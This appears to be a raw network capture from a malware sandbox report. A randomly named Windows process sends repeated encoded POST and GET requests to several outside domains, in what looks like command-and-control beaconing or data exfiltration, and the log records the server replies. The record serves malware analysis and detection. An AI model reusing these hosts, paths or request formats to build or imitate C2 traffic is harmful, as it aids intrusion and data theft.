Nov 5, 2024 15:37:36.785660982 CET	466	OUT	GET /ytnk/?Q2_4=uFAB3rEwaKr/uv81jElgMKFBplV4zOO0W/0UV/qGGe8UYgGdotW+PL1Lw+hHObTImHBkjwc0j1onCJuTKIEEH1/5TCKt9SsHo63opvn6TJdVFqr1WzvPAJA=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.abuali-contracting.art User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:37:37.051381111 CET	618	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 05 Nov 2024 14:37:36 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Location: http://abuali-contracting.art/ytnk/?Q2_4=uFAB3rEwaKr/uv81jElgMKFBplV4zOO0W/0UV/qGGe8UYgGdotW+PL1Lw+hHObTImHBkjwc0j1onCJuTKIEEH1/5TCKt9SsHo63opvn6TJdVFqr1WzvPAJA=&uXP=1HX8 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.11.20	49795	3.33.130.190	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:42.183583021 CET	729	OUT	POST /5g7z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.godskids.store Origin: http://www.godskids.store Referer: http://www.godskids.store/5g7z/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 70 49 55 2b 46 74 65 45 4f 57 45 31 79 2b 70 37 2b 66 39 67 47 72 45 71 4d 70 38 65 42 55 59 67 78 6b 36 48 63 44 67 44 59 78 59 52 69 2f 41 76 39 74 5a 2f 47 4c 57 66 4a 76 72 78 59 35 53 4c 2f 72 73 6f 66 75 4a 38 50 47 6c 69 61 4c 33 4d 4c 69 46 6e 6f 2f 70 44 69 71 30 59 6c 32 78 30 63 45 71 48 30 76 51 4e 55 65 4a 51 34 41 63 51 37 56 6b 66 43 34 57 42 30 31 41 53 70 59 41 65 35 76 52 34 57 56 78 64 70 6e 55 53 5a 42 6a 45 6e 68 34 48 54 47 51 79 78 6b 38 62 63 62 33 6d 46 4d 45 34 6a 34 55 54 56 78 51 2b 54 53 56 79 52 78 32 66 49 58 6b 6c 50 35 57 78 66 48 48 52 69 51 3d 3d Data Ascii: Q2_4=pIU+FteEOWE1y+p7+f9gGrEqMp8eBUYgxk6HcDgDYxYRi/Av9tZ/GLWfJvrxY5SL/rsofuJ8PGliaL3MLiFno/pDiq0Yl2x0cEqH0vQNUeJQ4AcQ7VkfC4WB01ASpYAe5vR4WVxdpnUSZBjEnh4HTGQyxk8bcb3mFME4j4UTVxQ+TSVyRx2fIXklP5WxfHHRiQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.11.20	49796	3.33.130.190	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:44.823009014 CET	749	OUT	POST /5g7z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.godskids.store Origin: http://www.godskids.store Referer: http://www.godskids.store/5g7z/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 70 49 55 2b 46 74 65 45 4f 57 45 31 30 75 35 37 38 38 56 67 41 4c 45 70 51 35 38 65 61 45 59 6b 78 6a 79 48 63 43 6c 49 5a 44 4d 52 69 61 6b 76 2b 73 5a 2f 42 4c 57 66 43 50 72 4f 58 5a 53 55 2f 72 67 67 66 75 46 38 50 43 46 69 61 4c 6e 4d 4c 52 64 6d 70 76 70 42 36 61 30 61 34 6d 78 30 63 45 71 48 30 76 30 6e 55 66 68 51 2f 77 41 51 36 30 6b 51 63 49 58 7a 31 31 41 53 74 59 41 61 35 76 52 61 57 55 74 33 70 6b 73 53 5a 44 37 45 6d 77 34 47 49 57 51 34 2f 45 39 48 56 5a 61 35 44 63 73 2b 69 37 6b 72 64 67 4e 45 66 6b 45 6f 4d 44 43 37 4c 45 34 58 4c 4a 76 5a 64 46 47 4b 2f 5a 42 5a 37 63 46 78 4e 6c 6e 62 45 35 73 31 59 48 4f 5a 76 79 49 3d Data Ascii: Q2_4=pIU+FteEOWE10u5788VgALEpQ58eaEYkxjyHcClIZDMRiakv+sZ/BLWfCPrOXZSU/rggfuF8PCFiaLnMLRdmpvpB6a0a4mx0cEqH0v0nUfhQ/wAQ60kQcIXz11AStYAa5vRaWUt3pksSZD7Emw4GIWQ4/E9HVZa5Dcs+i7krdgNEfkEoMDC7LE4XLJvZdFGK/ZBZ7cFxNlnbE5s1YHOZvyI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.11.20	49797	3.33.130.190	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:47.462866068 CET	1289	OUT	POST /5g7z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.godskids.store Origin: http://www.godskids.store Referer: http://www.godskids.store/5g7z/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 70 49 55 2b 46 74 65 45 4f 57 45 31 30 75 35 37 38 38 56 67 41 4c 45 70 51 35 38 65 61 45 59 6b 78 6a 79 48 63 43 6c 49 5a 44 55 52 68 6f 73 76 35 2f 78 2f 41 4c 57 66 42 50 72 50 58 5a 54 4f 2f 72 6f 6b 66 75 35 4b 50 41 39 69 56 49 66 4d 43 45 78 6d 6a 76 70 42 7a 36 30 5a 6c 32 77 70 63 46 61 4c 30 76 45 6e 55 66 68 51 2f 79 30 51 39 6c 6b 51 65 49 57 42 30 31 41 57 70 59 41 69 35 76 34 6c 57 55 70 4e 70 56 4d 53 59 6a 72 45 72 6d 4d 47 56 47 51 2b 34 45 39 50 56 5a 57 63 44 63 67 44 69 36 41 42 64 69 74 45 4d 41 52 53 49 68 2b 2b 66 46 6b 58 48 72 79 67 64 44 71 6f 39 75 52 74 30 4f 35 46 48 7a 6e 38 4d 62 31 36 4b 55 4f 59 7a 31 6e 2b 6f 37 57 67 53 4c 46 48 63 6c 2b 61 39 63 4f 33 6f 35 65 42 6d 6d 55 35 52 6a 57 43 30 4d 63 51 6d 65 7a 46 68 6d 32 4b 6c 67 31 74 54 56 64 57 59 4c 6d 4a 75 78 31 6f 69 47 5a 51 58 4d 75 72 74 7a 54 61 52 46 50 4a 41 52 4f 39 6f 6a 2b 6d 50 55 48 6e 70 4c 37 5a 63 42 54 30 43 57 6a 63 74 2f 73 62 49 6a 35 6b 39 32 76 6b 6f 4c 72 53 68 43 33 32 68 [TRUNCATED] Data Ascii: Q2_4=pIU+FteEOWE10u5788VgALEpQ58eaEYkxjyHcClIZDURhosv5/x/ALWfBPrPXZTO/rokfu5KPA9iVIfMCExmjvpBz60Zl2wpcFaL0vEnUfhQ/y0Q9lkQeIWB01AWpYAi5v4lWUpNpVMSYjrErmMGVGQ+4E9PVZWcDcgDi6ABditEMARSIh++fFkXHrygdDqo9uRt0O5FHzn8Mb16KUOYz1n+o7WgSLFHcl+a9cO3o5eBmmU5RjWC0McQmezFhm2Klg1tTVdWYLmJux1oiGZQXMurtzTaRFPJARO9oj+mPUHnpL7ZcBT0CWjct/sbIj5k92vkoLrShC32hZzJ183Ii7vu4nulWjCGtdsCHYotN4lWcr3E0Eay+javm8HPlk7D4Gjieo0ZR3NiRo0dlkN8BYVxaiE7VZ8F2AiIP05Q/nZPcnnHfskKqQ2algDMeazv9kn3yDr7lf+hsIafZ5XhANiR8uV7CQzYfDnCsAMRB+G1kEMtr/CwEW+WyJa6FgSq2IivxwA37mhIQ5vYeOChgNwSbh2Rq11H/g68DvdiWOQSa3mfWiX93WP3toGJA1TQrOtBI+MEC/j+k7VeGAZJNBBl6jKtsmQvjcWxQ5Zthdhosl7vEa3DDZPepupvHn+mkMuGRKaw/9IO923kJf6Ui+fqOcELsENmTH7gTPQlUSH7e1kYM0fMfrnRe7wRozN4bBgR2B5RlAK1f5tFWIXI6EwFcdT3Ev9b/RyStsYIcJgfgrXBfvy
Nov 5, 2024 15:37:47.462914944 CET	1289	OUT	Data Raw: 58 6e 33 4c 61 54 67 6c 31 44 63 75 7a 51 52 75 4d 6c 6c 69 77 44 66 55 67 2f 38 33 52 42 67 6e 76 4e 6b 78 39 72 63 2b 61 6a 53 4e 6d 58 47 43 39 62 74 64 52 7a 62 6d 57 6a 63 63 51 74 31 59 56 55 43 66 73 42 79 62 2b 65 47 54 59 30 68 69 49 75 Data Ascii: Xn3LaTgl1DcuzQRuMlliwDfUg/83RBgnvNkx9rc+ajSNmXGC9btdRzbmWjccQt1YVUCfsByb+eGTY0hiIup/fb2qF87myWCv8pO7ZvAsN274rtD0zYFno2EIyid1OQiD+rid4ivrUqITs1FowAuj2uq391VHOxCrx30+j9xP048KXXitPI6oZdOIWhTtre4LlS/iLmbaa+aRvjy8/AGplhu0F0A60U7nt5BqreK2/EFb7F7EZGb
Nov 5, 2024 15:37:47.462968111 CET	5320	OUT	Data Raw: 37 48 57 47 71 32 76 44 56 35 4d 52 47 45 6c 34 58 34 30 69 2f 72 37 39 6b 4c 5a 52 49 5a 32 49 4b 33 50 58 49 69 43 41 53 36 51 36 75 39 4f 39 73 63 54 4c 45 32 35 49 6f 6f 77 4b 31 4a 32 63 55 51 36 73 30 65 35 4a 67 37 59 64 72 47 6c 64 76 6a Data Ascii: 7HWGq2vDV5MRGEl4X40i/r79kLZRIZ2IK3PXIiCAS6Q6u9O9scTLE25IoowK1J2cUQ6s0e5Jg7YdrGldvjeHS4Qzd5FswqiUSX5QCid/p4BEJk/Cs0bsA3CebB0ES2lQAiiXFd7G3o2DRFC81YJpnM50IOT4zJ6dK1DiBFi44eNj1W9apGate/XKzoiWG3+iHPpW7CmtXkvh4wwvkV+2yADBYihe4IVU3u6flSa+yvXN4sz0Ree

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.11.20	49798	3.33.130.190	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:50.102979898 CET	458	OUT	GET /5g7z/?Q2_4=kK8eGZeOL0c0i7pZ0ONPINYAGZoAPWpd4nCLeggjcj8HoPAJjspSGomAMuDSSayw1bMnL6JfGjY3P9qtC0w+rul42/5pklRpQ1va0t0kDdVVqU9rzEU/DKw=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.godskids.store User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:37:50.213927031 CET	389	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 05 Nov 2024 14:37:50 GMT Content-Type: text/html Content-Length: 249 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 51 32 5f 34 3d 6b 4b 38 65 47 5a 65 4f 4c 30 63 30 69 37 70 5a 30 4f 4e 50 49 4e 59 41 47 5a 6f 41 50 57 70 64 34 6e 43 4c 65 67 67 6a 63 6a 38 48 6f 50 41 4a 6a 73 70 53 47 6f 6d 41 4d 75 44 53 53 61 79 77 31 62 4d 6e 4c 36 4a 66 47 6a 59 33 50 39 71 74 43 30 77 2b 72 75 6c 34 32 2f 35 70 6b 6c 52 70 51 31 76 61 30 74 30 6b 44 64 56 56 71 55 39 72 7a 45 55 2f 44 4b 77 3d 26 75 58 50 3d 31 48 58 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Q2_4=kK8eGZeOL0c0i7pZ0ONPINYAGZoAPWpd4nCLeggjcj8HoPAJjspSGomAMuDSSayw1bMnL6JfGjY3P9qtC0w+rul42/5pklRpQ1va0t0kDdVVqU9rzEU/DKw=&uXP=1HX8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.20	49799	161.97.142.144	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:55.414917946 CET	726	OUT	POST /o2wj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.030002832.xyz Origin: http://www.030002832.xyz Referer: http://www.030002832.xyz/o2wj/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 33 4a 46 44 43 33 78 71 31 37 52 6c 6b 33 57 49 45 66 46 4a 73 2b 4d 53 70 4f 6b 74 4f 2f 7a 6a 65 7a 6c 2b 43 36 63 47 33 51 63 4b 74 48 2f 65 53 5a 49 6c 34 58 74 69 79 5a 4d 34 6d 48 56 61 5a 4a 64 4f 35 6b 6f 33 62 35 38 52 42 2b 38 63 42 65 51 61 6e 50 67 6a 67 32 6d 56 38 55 52 4a 34 38 64 69 4e 69 59 4d 66 5a 76 65 53 4e 72 68 64 33 33 57 33 49 7a 61 2b 62 79 71 64 74 76 61 31 43 77 68 41 42 77 4f 72 46 6f 5a 75 32 4a 66 6c 42 31 63 52 51 66 62 66 4c 50 69 71 5a 35 33 55 71 53 41 5a 6b 33 54 6e 31 32 6b 4c 61 6b 7a 75 6e 65 6b 69 44 63 75 43 32 47 45 42 68 35 41 56 67 3d 3d Data Ascii: Q2_4=3JFDC3xq17Rlk3WIEfFJs+MSpOktO/zjezl+C6cG3QcKtH/eSZIl4XtiyZM4mHVaZJdO5ko3b58RB+8cBeQanPgjg2mV8URJ48diNiYMfZveSNrhd33W3Iza+byqdtva1CwhABwOrFoZu2JflB1cRQfbfLPiqZ53UqSAZk3Tn12kLakzunekiDcuC2GEBh5AVg==
Nov 5, 2024 15:37:55.602787971 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:37:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc(aL`!I> [TRUNCATED]
Nov 5, 2024 15:37:55.602796078 CET	317	IN	Data Raw: f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 27 07 2f 88 08 5d b8 dd 9d c3 da 74 74 30 c5 f1 c0 04 7b 7b cc 88 10 22 a1 98 47 c4 0f 38 8a c0 41 97 ae 98 04 90 82 7e c6 a8 8b de e5 5b 46 90 0d 8e 03 08 19 Data Ascii: wlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5LznQVT)F[EG{^kTs0N[JJ

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.20	49800	161.97.142.144	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:58.136048079 CET	746	OUT	POST /o2wj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.030002832.xyz Origin: http://www.030002832.xyz Referer: http://www.030002832.xyz/o2wj/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 33 4a 46 44 43 33 78 71 31 37 52 6c 6b 57 47 49 43 4d 64 4a 72 65 4d 64 6e 75 6b 74 41 66 7a 6e 65 7a 70 2b 43 2b 46 42 33 46 4d 4b 6a 44 7a 65 54 59 49 6c 35 58 74 69 36 35 4d 35 6f 6e 56 52 5a 4a 52 38 35 6d 73 33 62 35 59 52 42 37 41 63 47 6f 59 5a 6f 2f 67 68 70 57 6d 58 2f 6b 52 4a 34 38 64 69 4e 69 63 79 66 5a 33 65 56 39 62 68 66 54 62 52 35 6f 7a 46 35 62 79 71 5a 74 76 57 31 43 78 79 41 45 55 6f 72 48 51 5a 75 33 35 66 69 54 64 62 62 51 66 42 62 4c 4f 63 6d 61 67 64 64 2b 75 73 59 48 62 57 74 32 6d 74 4b 4d 31 70 7a 56 71 41 68 51 41 63 47 47 2f 73 44 6a 34 62 49 76 36 77 70 45 36 38 34 54 73 7a 33 67 44 38 6f 5a 55 50 30 49 6b 3d Data Ascii: Q2_4=3JFDC3xq17RlkWGICMdJreMdnuktAfznezp+C+FB3FMKjDzeTYIl5Xti65M5onVRZJR85ms3b5YRB7AcGoYZo/ghpWmX/kRJ48diNicyfZ3eV9bhfTbR5ozF5byqZtvW1CxyAEUorHQZu35fiTdbbQfBbLOcmagdd+usYHbWt2mtKM1pzVqAhQAcGG/sDj4bIv6wpE684Tsz3gD8oZUP0Ik=
Nov 5, 2024 15:37:58.325383902 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:37:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc(aL`!I> [TRUNCATED]
Nov 5, 2024 15:37:58.325428009 CET	317	IN	Data Raw: f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 27 07 2f 88 08 5d b8 dd 9d c3 da 74 74 30 c5 f1 c0 04 7b 7b cc 88 10 22 a1 98 47 c4 0f 38 8a c0 41 97 ae 98 04 90 82 7e c6 a8 8b de e5 5b 46 90 0d 8e 03 08 19 Data Ascii: wlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5LznQVT)F[EG{^kTs0N[JJ

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.20	49801	161.97.142.144	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:00.851941109 CET	1289	OUT	POST /o2wj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.030002832.xyz Origin: http://www.030002832.xyz Referer: http://www.030002832.xyz/o2wj/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 33 4a 46 44 43 33 78 71 31 37 52 6c 6b 57 47 49 43 4d 64 4a 72 65 4d 64 6e 75 6b 74 41 66 7a 6e 65 7a 70 2b 43 2b 46 42 33 46 45 4b 6a 32 76 65 53 37 67 6c 36 58 74 69 6d 70 4d 30 6f 6e 56 32 5a 4a 35 34 35 6d 78 41 62 37 51 52 41 64 55 63 48 61 77 5a 2f 76 67 68 72 57 6d 4b 38 55 52 63 34 34 42 6d 4e 69 73 79 66 5a 33 65 56 2f 44 68 62 48 33 52 30 49 7a 61 2b 62 79 32 64 74 75 4a 31 43 34 48 41 45 51 34 71 32 77 5a 75 55 42 66 6e 67 31 62 58 51 66 66 63 4c 4f 55 6d 61 63 47 64 2b 61 67 59 47 76 77 74 31 47 74 49 6f 6f 78 67 42 2b 4b 69 41 4d 6e 43 33 32 61 4e 6c 30 37 57 64 4b 73 74 43 69 73 77 48 30 51 70 51 48 58 7a 4b 63 6c 33 49 4e 7a 76 49 66 44 7a 57 70 6c 65 6a 55 63 33 53 75 7a 36 30 63 4c 4a 4f 4f 44 76 69 4b 55 66 75 62 76 7a 58 6b 55 6e 59 50 31 4d 42 6b 31 4f 57 71 50 72 32 6e 42 47 64 41 63 54 42 33 6b 52 47 55 71 51 68 54 64 4c 75 78 4a 45 66 65 66 64 53 59 72 79 69 50 31 6a 44 67 72 31 53 49 70 49 62 33 2f 42 42 65 72 34 6f 49 68 57 67 79 36 44 69 66 59 4e 33 67 69 68 [TRUNCATED] Data Ascii: Q2_4=3JFDC3xq17RlkWGICMdJreMdnuktAfznezp+C+FB3FEKj2veS7gl6XtimpM0onV2ZJ545mxAb7QRAdUcHawZ/vghrWmK8URc44BmNisyfZ3eV/DhbH3R0Iza+by2dtuJ1C4HAEQ4q2wZuUBfng1bXQffcLOUmacGd+agYGvwt1GtIooxgB+KiAMnC32aNl07WdKstCiswH0QpQHXzKcl3INzvIfDzWplejUc3Suz60cLJOODviKUfubvzXkUnYP1MBk1OWqPr2nBGdAcTB3kRGUqQhTdLuxJEfefdSYryiP1jDgr1SIpIb3/BBer4oIhWgy6DifYN3gih2MTOMQnJDe0Xf3VMdvJ45olmUvWfOIxSFOerPTlB4+WO0YMr+YUXTaP9rqGtliVtWduNUhZGDuZyo1Bc8zKDaSizuY/XhSz90o5x1z5Do+Ba7OVwKF6A+OwKJ8b3unvGVbuyoJP11sFMBc+TtnTjwJKjQj5tOvQxh1EaP+j5uiBa+jDz6COvNQ1IYNw+IAPdPWO9hwxV+1fjtBxUUvX/UcxivqTyHAnHV2Nb48gMjNklIsxnvXLE8yq5CjZQrrhYE5uvwva4nH9EnnfpzVN7kxu95wceyn22YEGrwDIyOxeuLmLfR2d20i6vcmOg0Nu/ro9SvJ3KfzTCZOXKrUhC1O28D0Rxq/9lgtTTNnd3iG8X/sYayVNXpxz8C69dhNlHjW0LRmIt//zMvUG4bDAbLVXQF+liapjHB/HQcZ6fh
